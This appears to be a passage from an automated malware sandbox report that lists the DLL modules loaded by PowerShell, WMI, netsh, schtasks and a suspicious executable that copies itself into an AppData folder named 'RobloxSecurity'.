Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: httpapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
